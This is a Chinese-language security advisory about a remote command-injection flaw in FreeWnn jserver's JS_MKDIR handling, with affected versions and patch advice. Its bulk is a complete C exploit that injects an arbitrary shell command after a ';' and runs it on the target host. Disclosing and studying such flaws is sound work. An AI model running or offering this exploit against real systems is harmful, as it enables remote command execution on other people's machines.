安全研究

安全漏洞
FreeWnn jserver JS_MKDIR通过转义字符执行任意命令漏洞

发布日期:2002-01-11
更新日期:2002-01-15

受影响系统:

FreeWnn FreeWnn 1.1
    - Debian Linux 2.2
    - Debian Linux 2.1
    - FreeBSD 5.0
    - FreeBSD 4.0
    - HP-UX 11.0
    - HP-UX 10.20
    - IRIX 6.5
    - IRIX 6.4
    - IRIX 6.3
    - IRIX 6.2
    - Mandrake Linux 7.1
    - Mandrake Linux 7.0
    - NetBSD 1.4.2 x86
    - NetBSD 1.4.1 x86
    - NetBSD 1.4.1
    - Solaris 8.0
    - Solaris 7.0
    - Solaris 2.6
    - SuSE Linux 6.4
    - SuSE Linux 6.3
不受影响系统:

FreeWnn FreeWnn 1.1.1-a017
    - Debian Linux 2.2
    - Debian Linux 2.1
    - FreeBSD 5.0
    - FreeBSD 4.0
    - HP-UX 11.0
    - HP-UX 10.20
    - IRIX 6.5
    - IRIX 6.4
    - IRIX 6.3
    - IRIX 6.2
    - Mandrake Linux 7.1
    - Mandrake Linux 7.0
    - NetBSD 1.4.2 x86
    - NetBSD 1.4.1 x86
    - NetBSD 1.4.1
    - Solaris 8.0
    - Solaris 7.0
    - Solaris 2.6
    - SuSE Linux 6.4
    - SuSE Linux 6.3
描述:

BUGTRAQ  ID: 3860

FreeWnn 1.1.0是一个日语翻译系统。它是一个服务器-客户端的应用程序,jserver部分作为服务器端,为客户端提供翻译服务。

FreeWnn jserver组件存在输入验证漏洞,可以使远程攻击者在主机上执行任意命令。

jserver把从客户端接收过来的输入未做合法性检查就通过JS_MKDIR命令传递给system()系统调用。攻击者通过在输入中插入shell转义字符“;”就可以在主机上以jserver进程的权限执行任意命令。

<*来源:Shadow Penguin Security
  
  链接:http://www.shadowpenguin.org/sc_advisories/advisory044.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

UNYUN(unyun@shadowpenguin.org) 提供了如下测试程序:

/*=========================================================================
   Wnn6 Exploit (tested on IRIX6.5 WorldView Janapese)
   The Shadow Penguin Security (http://www.shadowpenguin.org)
   Written by UNYUN (unyun@shadowpenguin.org)
  =========================================================================
*/
#include <stdio.h>
#include <netdb.h>
#include <fcntl.h>
#include <ctype.h>
#include <unistd.h>
#include <strings.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netinet/in.h>

#define TARGET_PORT 22273

int dump_recv(int sockfd)
{
    static char buf[4096];
    int i,r,sum=0;

    r=recv(sockfd,buf,sizeof(buf),0);
    for (i=0;i<r;i++){
        printf("0x%02X ",buf[i]&0xff);
        sum+=(int)buf[i];
    }
    printf("\n");
    return(sum);
}

main(int argc,char *argv[])
{
    int                 sockfd,i;
    struct sockaddr_in  target;
    struct hostent      *hs;
    static char         buf[512];
    static char         mkdircmd[4096];
    char                hostname[4096];
    char                username[4096];

    if (argc<3){
        printf("usage : %s TargetHost command {hostname} {username}\n",argv[0]);
        exit(1);
    }
    strcpy(hostname,"localhost");
    strcpy(username,"root");
    if (argc>=5)
        strcpy(username,argv[4]);
    if (argc>=4)
        strcpy(hostname,argv[3]);
    sockfd=socket(PF_INET, SOCK_STREAM, 0);
    target.sin_family=AF_INET;
    target.sin_port=htons(TARGET_PORT);
    if ((target.sin_addr.s_addr=inet_addr(argv[1]))==-1){
        if ((hs=gethostbyname(argv[1]))==NULL){
            printf("Can not resolve specified host.\n");
            exit(1);
        }
        target.sin_family = hs->h_addrtype;
        memcpy((caddr_t)&target.sin_addr.s_addr,hs->h_addr,hs->h_length);
    }
    if (connect(sockfd, (struct sockaddr*)&target, sizeof(target))!=0){
        printf("Can not connect to %s:%d\n",argv[1],TARGET_PORT);
        exit(1);
    }

    /* JS_OPEN */
    buf[3]=1;
    buf[6]=0x4f;
    strncpy(buf+8,hostname,strlen(hostname));
    strncpy(buf+9+strlen(hostname),username,strlen(username));
    send(sockfd,buf,10+strlen(hostname)+strlen(username),0);
    dump_recv(sockfd);

    /* JS_ENV_EXIST */
    memset(buf,0,sizeof(buf));
    buf[3]=0x07;
    strncpy(buf+4,username,strlen(username));
    send(sockfd,buf,5+strlen(username),0);
    dump_recv(sockfd);

    /* JS_CONNECT */
    memset(buf,0,sizeof(buf));
    buf[3]=0x05;
    strncpy(buf+4,username,strlen(username));
    send(sockfd,buf,5+strlen(username),0);
    dump_recv(sockfd);

    /* JS_MKDIR */
    sprintf(mkdircmd,"a;%s",argv[2]);
    memset(buf,0,sizeof(buf));
    buf[3]=0x51;
    strncpy(buf+8,mkdircmd,strlen(mkdircmd));
    send(sockfd,buf,8+strlen(mkdircmd)+1,0);
    dump_recv(sockfd);

    close(sockfd);
}

建议:

临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 在漏洞修补之前,暂时停止此程序的使用。

厂商补丁:

FreeWnn
-------
目前厂商已经在最新版本的软件中修补了这个漏洞,我们建议使用此软件的用户到厂商的主页获取最新版本:

http://www.freewnn.org/



浏览次数:12675
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障